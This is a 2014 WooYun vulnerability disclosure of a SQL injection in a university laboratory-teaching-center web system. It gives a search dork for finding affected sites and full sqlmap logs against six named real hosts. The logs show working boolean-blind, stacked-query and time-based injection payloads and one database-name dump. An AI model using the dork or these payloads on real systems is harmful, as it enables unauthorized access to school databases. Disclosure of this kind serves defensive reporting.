当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072249

漏洞标题:某实验教学中心系统一处sql注入

相关厂商:cncert国家互联网应急中心

漏洞作者: Mosuan

提交时间:2014-08-13 16:48

修复时间:2014-11-11 16:48

公开时间:2014-11-11 16:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-13: 细节已通知厂商并且等待厂商处理中
2014-08-18: 厂商已经确认,细节仅向厂商公开
2014-08-21: 细节向第三方安全合作伙伴开放
2014-10-12: 细节向核心白帽子及相关领域专家公开
2014-10-22: 细节向普通白帽子公开
2014-11-01: 细节向实习白帽子公开
2014-11-11: 细节向公众公开

简要描述:

rt

详细说明:

关键词

inurl:/model/TwoGradePage/CIntroduce.aspx?columnId=


举几个例子

注入地址:http://sys.zafu.edu.cn/dy/model/TwoGradePage/CIntroduce.aspx?columnId=8
8
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 16:05:08
[16:05:09] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\sys.zafu.edu.cn\session' as session file
[16:05:09] [INFO] testing connection to the target url
[16:05:10] [INFO] testing if the url is stable, wait a few seconds
[16:05:12] [INFO] url is stable
[16:05:12] [INFO] testing if GET parameter 'columnId' is dynamic
[16:05:12] [INFO] confirming that GET parameter 'columnId' is dynamic
[16:05:13] [INFO] GET parameter 'columnId' is dynamic
[16:05:14] [WARNING] heuristic test shows that GET parameter 'columnId' might no
t be injectable
[16:05:14] [INFO] testing sql injection on GET parameter 'columnId'
[16:05:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:05:18] [INFO] GET parameter 'columnId' is 'AND boolean-based blind - WHERE o
r HAVING clause' injectable
[16:05:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
sqlmap got a 302 redirect to 'http://sys.zafu.edu.cn:80/dy/Error.htm'. Do you wa
nt to follow? [Y/n]
[16:05:35] [INFO] heuristics detected web page charset 'UTF-8'
[16:05:35] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:05:36] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:05:36] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:05:37] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:05:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[16:05:38] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:05:49] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:05:50] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:05:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:06:01] [INFO] testing 'Oracle AND time-based blind'
[16:06:02] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:06:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:06:09] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[16:06:11] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[16:06:33] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:06:37] [INFO] target url appears to have 11 columns in query
[16:07:02] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:07:17] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[16:07:17] [INFO] checking if the injection point on GET parameter 'columnId' is
a false positive
GET parameter 'columnId' is vulnerable. Do you want to keep testing the others (
if any)? [y/N]
sqlmap identified the following injection points with a total of 61 HTTP(s) requ
ests:
---
Place: GET
Parameter: columnId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: columnId=88 AND 3164=3164
---
[16:07:41] [INFO] testing MySQL
[16:08:02] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:08:24] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:08:26] [WARNING] the back-end DBMS is not MySQL
[16:08:26] [INFO] testing Oracle
[16:08:27] [WARNING] the back-end DBMS is not Oracle
[16:08:27] [INFO] testing PostgreSQL
[16:08:28] [WARNING] the back-end DBMS is not PostgreSQL
[16:08:28] [INFO] testing Microsoft SQL Server
[16:08:30] [INFO] confirming Microsoft SQL Server
[16:08:34] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[16:08:34] [INFO] fetching database names
[16:08:34] [INFO] fetching number of databases
[16:08:34] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:08:34] [INFO] retrieved:
[16:08:40] [ERROR] unable to retrieve the number of databases
[16:08:40] [INFO] falling back to current database
[16:08:40] [INFO] fetching current database
[16:08:40] [INFO] retrieved:
[16:09:03] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:09:08] [CRITICAL] unable to retrieve the database names
[16:09:08] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 16 times
[*] shutting down at 16:09:08


注入地址:http://aacc.cumt.edu.cn/model/TwoGradePage/CIntroduce.aspx?columnId=195
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 16:05:21
[16:05:22] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\aacc.cumt.edu.cn\session' as session file
[16:05:22] [INFO] testing connection to the target url
[16:05:22] [INFO] testing if the url is stable, wait a few seconds
[16:05:24] [INFO] url is stable
[16:05:24] [INFO] testing if GET parameter 'columnId' is dynamic
[16:05:25] [INFO] confirming that GET parameter 'columnId' is dynamic
[16:05:25] [INFO] GET parameter 'columnId' is dynamic
[16:05:26] [WARNING] heuristic test shows that GET parameter 'columnId' might no
t be injectable
[16:05:26] [INFO] testing sql injection on GET parameter 'columnId'
[16:05:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:05:29] [INFO] GET parameter 'columnId' is 'AND boolean-based blind - WHERE o
r HAVING clause' injectable
[16:05:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
sqlmap got a 302 redirect to 'http://aacc.cumt.edu.cn:80/Error.htm'. Do you want
to follow? [Y/n]
[16:05:37] [INFO] heuristics detected web page charset 'UTF-8'
[16:05:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:05:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:05:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:05:39] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:05:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[16:05:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:05:51] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:05:51] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:05:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:06:03] [INFO] testing 'Oracle AND time-based blind'
[16:06:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:06:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:06:10] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[16:06:12] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[16:06:35] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:06:37] [INFO] target url appears to have 10 columns in query
[16:07:07] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:07:35] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:07:37] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[16:07:37] [INFO] checking if the injection point on GET parameter 'columnId' is
a false positive
GET parameter 'columnId' is vulnerable. Do you want to keep testing the others (
if any)? [y/N]
sqlmap identified the following injection points with a total of 59 HTTP(s) requ
ests:
---
Place: GET
Parameter: columnId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: columnId=195 AND 7917=7917
---
[16:07:44] [INFO] testing MySQL
[16:08:05] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:08:06] [WARNING] the back-end DBMS is not MySQL
[16:08:06] [INFO] testing Oracle
[16:08:07] [WARNING] the back-end DBMS is not Oracle
[16:08:07] [INFO] testing PostgreSQL
[16:08:08] [WARNING] the back-end DBMS is not PostgreSQL
[16:08:09] [INFO] testing Microsoft SQL Server
[16:08:15] [INFO] confirming Microsoft SQL Server
[16:08:22] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[16:08:22] [INFO] fetching database names
[16:08:22] [INFO] fetching number of databases
[16:08:22] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:08:22] [INFO] retrieved:
[16:08:26] [ERROR] unable to retrieve the number of databases
[16:08:26] [INFO] falling back to current database
[16:08:26] [INFO] fetching current database
[16:08:26] [INFO] retrieved:
[16:08:54] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:08:56] [CRITICAL] unable to retrieve the database names
[16:08:56] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 17 times
[*] shutting down at 16:08:56


注入地址:http://lysyzx.hqu.edu.cn/model/TwoGradePage/CIntroduce.aspx?columnId=4
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 16:06:04
[16:06:04] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\lysyzx.hqu.edu.cn\session' as session file
[16:06:04] [INFO] testing connection to the target url
[16:06:05] [INFO] testing if the url is stable, wait a few seconds
[16:06:08] [INFO] url is stable
[16:06:08] [INFO] testing if GET parameter 'columnId' is dynamic
[16:06:08] [INFO] confirming that GET parameter 'columnId' is dynamic
[16:06:09] [INFO] GET parameter 'columnId' is dynamic
[16:06:09] [WARNING] heuristic test shows that GET parameter 'columnId' might no
t be injectable
[16:06:09] [INFO] testing sql injection on GET parameter 'columnId'
[16:06:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:06:12] [INFO] GET parameter 'columnId' is 'AND boolean-based blind - WHERE o
r HAVING clause' injectable
[16:06:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
sqlmap got a 302 redirect to 'http://lysyzx.hqu.edu.cn:80/Error.htm'. Do you wan
t to follow? [Y/n]
[16:06:17] [INFO] heuristics detected web page charset 'UTF-8'
[16:06:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:06:17] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:06:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:06:18] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:06:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[16:06:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:06:42] [INFO] GET parameter 'columnId' is 'Microsoft SQL Server/Sybase stack
ed queries' injectable
[16:06:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:06:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:06:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:07:06] [INFO] GET parameter 'columnId' is 'Microsoft SQL Server/Sybase time-
based blind' injectable
[16:07:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:07:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:07:14] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[16:07:19] [INFO] target url appears to have 10 columns in query
[16:07:36] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'columnId' is vulnerable. Do you want to keep testing the others (
if any)? [y/N]
sqlmap identified the following injection points with a total of 56 HTTP(s) requ
ests:
---
Place: GET
Parameter: columnId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: columnId=4 AND 5004=5004
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: columnId=4; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: columnId=4 WAITFOR DELAY '0:0:5'--
---
[16:07:49] [INFO] testing MySQL
[16:07:49] [WARNING] the back-end DBMS is not MySQL
[16:07:49] [INFO] testing Oracle
[16:07:49] [WARNING] the back-end DBMS is not Oracle
[16:07:49] [INFO] testing PostgreSQL
[16:07:50] [WARNING] the back-end DBMS is not PostgreSQL
[16:07:50] [INFO] testing Microsoft SQL Server
[16:07:51] [INFO] confirming Microsoft SQL Server
[16:07:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[16:07:53] [INFO] fetching database names
[16:07:53] [INFO] fetching number of databases
[16:07:53] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:07:53] [INFO] retrieved:
[16:07:54] [ERROR] unable to retrieve the number of databases
[16:07:54] [INFO] falling back to current database
[16:07:55] [INFO] fetching current database
[16:07:55] [INFO] retrieved:
[16:07:59] [CRITICAL] unable to retrieve the database names
[16:07:59] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 16 times
[*] shutting down at 16:07:59


注入地址:http://foodbioeng-lab.xzit.edu.cn/model/TwoGradePage/CIntroduce.aspx?co
lumnId=7
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 16:07:18
[16:07:18] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\foodbioeng-lab.xzit.edu.cn\session' as session file
[16:07:19] [INFO] testing connection to the target url
[16:07:20] [INFO] testing if the url is stable, wait a few seconds
[16:07:22] [INFO] url is stable
[16:07:22] [INFO] testing if GET parameter 'columnId' is dynamic
[16:07:23] [INFO] confirming that GET parameter 'columnId' is dynamic
[16:07:23] [INFO] GET parameter 'columnId' is dynamic
sqlmap got a 302 redirect to 'http://foodbioeng-lab.xzit.edu.cn:80/Error.htm'. D
o you want to follow? [Y/n]
[16:07:54] [INFO] heuristics detected web page charset 'UTF-8'
[16:07:54] [WARNING] heuristic test shows that GET parameter 'columnId' might no
t be injectable
[16:07:54] [INFO] testing sql injection on GET parameter 'columnId'
[16:07:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:07:57] [INFO] GET parameter 'columnId' is 'AND boolean-based blind - WHERE o
r HAVING clause' injectable
[16:07:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[16:07:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:07:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:07:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:07:59] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:08:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[16:08:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:08:01] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:08:01] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:08:02] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:08:02] [INFO] testing 'Oracle AND time-based blind'
[16:08:03] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:08:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:08:13] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[16:08:18] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[16:08:28] [INFO] target url appears to have 10 columns in query
[16:09:09] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:09:17] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[16:09:17] [INFO] checking if the injection point on GET parameter 'columnId' is
a false positive
GET parameter 'columnId' is vulnerable. Do you want to keep testing the others (
if any)? [y/N]
sqlmap identified the following injection points with a total of 59 HTTP(s) requ
ests:
---
Place: GET
Parameter: columnId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: columnId=7 AND 8557=8557
---
[16:09:27] [INFO] testing MySQL
[16:09:28] [WARNING] the back-end DBMS is not MySQL
[16:09:28] [INFO] testing Oracle
[16:09:28] [WARNING] the back-end DBMS is not Oracle
[16:09:28] [INFO] testing PostgreSQL
[16:09:29] [WARNING] the back-end DBMS is not PostgreSQL
[16:09:29] [INFO] testing Microsoft SQL Server
[16:09:30] [INFO] confirming Microsoft SQL Server
[16:09:36] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[16:09:36] [INFO] fetching database names
[16:09:36] [INFO] fetching number of databases
[16:09:36] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:09:36] [INFO] retrieved: 7
[16:09:42] [INFO] retrieved:
[16:10:06] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
foodbi
[16:11:27] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
oeng
[16:12:11] [INFO] retrieved: master


注入地址:http://61.132.139.110:8888/model/TwoGradePage/CIntroduce.aspx?columnId=
77
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 16:10:10
[16:10:11] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\61.132.139.110\session' as session file
[16:10:11] [INFO] testing connection to the target url
[16:10:11] [INFO] testing if the url is stable, wait a few seconds
[16:10:13] [INFO] url is stable
[16:10:13] [INFO] testing if GET parameter 'columnId' is dynamic
[16:10:13] [INFO] confirming that GET parameter 'columnId' is dynamic
[16:10:15] [INFO] GET parameter 'columnId' is dynamic
[16:10:17] [WARNING] heuristic test shows that GET parameter 'columnId' might no
t be injectable
[16:10:17] [INFO] testing sql injection on GET parameter 'columnId'
[16:10:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:10:23] [INFO] GET parameter 'columnId' is 'AND boolean-based blind - WHERE o
r HAVING clause' injectable
[16:10:23] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
sqlmap got a 302 redirect to 'http://61.132.139.110:8888/Error.htm'. Do you want
to follow? [Y/n]
[16:10:26] [INFO] heuristics detected web page charset 'UTF-8'
[16:10:26] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:10:27] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:10:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:10:29] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:10:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[16:10:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:10:52] [INFO] GET parameter 'columnId' is 'Microsoft SQL Server/Sybase stack
ed queries' injectable
[16:10:52] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:10:53] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:10:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:11:17] [INFO] GET parameter 'columnId' is 'Microsoft SQL Server/Sybase time-
based blind' injectable
[16:11:17] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:11:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:11:23] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[16:11:46] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:11:48] [INFO] target url appears to have 10 columns in query
[16:12:10] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:12:45] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:13:08] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:13:13] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'columnId' is vulnerable. Do you want to keep testing the others (
if any)? [y/N]
sqlmap identified the following injection points with a total of 56 HTTP(s) requ
ests:
---
Place: GET
Parameter: columnId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: columnId=77 AND 9190=9190
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: columnId=77; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: columnId=77 WAITFOR DELAY '0:0:5'--
---
[16:13:25] [INFO] testing MySQL
[16:13:26] [WARNING] the back-end DBMS is not MySQL
[16:13:26] [INFO] testing Oracle
[16:13:26] [WARNING] the back-end DBMS is not Oracle
[16:13:26] [INFO] testing PostgreSQL
[16:13:27] [WARNING] the back-end DBMS is not PostgreSQL
[16:13:27] [INFO] testing Microsoft SQL Server
[16:13:29] [INFO] confirming Microsoft SQL Server
[16:13:50] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:13:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[16:13:53] [INFO] fetching database names
[16:13:53] [INFO] fetching number of databases
[16:13:53] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:13:53] [INFO] retrieved:
[16:13:59] [ERROR] unable to retrieve the number of databases
[16:13:59] [INFO] falling back to current database
[16:13:59] [INFO] fetching current database
[16:13:59] [INFO] retrieved:
[16:14:29] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:14:51] [CRITICAL] unable to retrieve the database names
[16:14:51] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 16 times
[*] shutting down at 16:14:51


注入地址:http://lab.hutc.zj.cn:8090/model/TwoGradePage/CIntroduce.aspx?columnId=
95
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 16:08:13
[16:08:13] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\lab.hutc.zj.cn\session' as session file
[16:08:14] [INFO] testing connection to the target url
[16:08:56] [INFO] testing if the url is stable, wait a few seconds
[16:09:21] [INFO] url is stable
[16:09:21] [INFO] testing if GET parameter 'columnId' is dynamic
[16:09:23] [INFO] confirming that GET parameter 'columnId' is dynamic
[16:09:25] [WARNING] GET parameter 'columnId' appears to be not dynamic
[16:09:26] [WARNING] heuristic test shows that GET parameter 'columnId' might no
t be injectable
[16:09:26] [INFO] testing sql injection on GET parameter 'columnId'
[16:09:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:09:59] [INFO] GET parameter 'columnId' is 'AND boolean-based blind - WHERE o
r HAVING clause' injectable
[16:09:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[16:09:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:10:00] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:10:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:10:00] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:10:01] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[16:10:01] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:10:40] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:10:40] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:10:41] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:11:15] [INFO] testing 'Oracle AND time-based blind'
[16:11:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[16:11:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:11:35] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[16:12:09] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[16:12:51] [INFO] target url appears to have 10 columns in query
[16:15:15] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[16:15:15] [INFO] checking if the injection point on GET parameter 'columnId' is
a false positive
GET parameter 'columnId' is vulnerable. Do you want to keep testing the others (
if any)? [y/N]
sqlmap identified the following injection points with a total of 59 HTTP(s) requ
ests:
---
Place: GET
Parameter: columnId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: columnId=95 AND 5625=5625
---
[16:18:57] [INFO] testing MySQL
[16:19:01] [WARNING] the back-end DBMS is not MySQL
[16:19:01] [INFO] testing Oracle
[16:19:03] [WARNING] the back-end DBMS is not Oracle
[16:19:03] [INFO] testing PostgreSQL
[16:19:05] [WARNING] the back-end DBMS is not PostgreSQL
[16:19:05] [INFO] testing Microsoft SQL Server
[16:19:43] [INFO] confirming Microsoft SQL Server
[16:20:23] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000

漏洞证明:

function

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2014-08-18 09:01

厂商回复:

CNVD确认并复现所述情况(由上海交通大学协助验证),已经转由CNCERT向教育网应急组织——赛尔网络公司通报,同时CNVD尝试通过邮件向软件生产厂商通报。

最新状态:

暂无


漏洞评价:

评论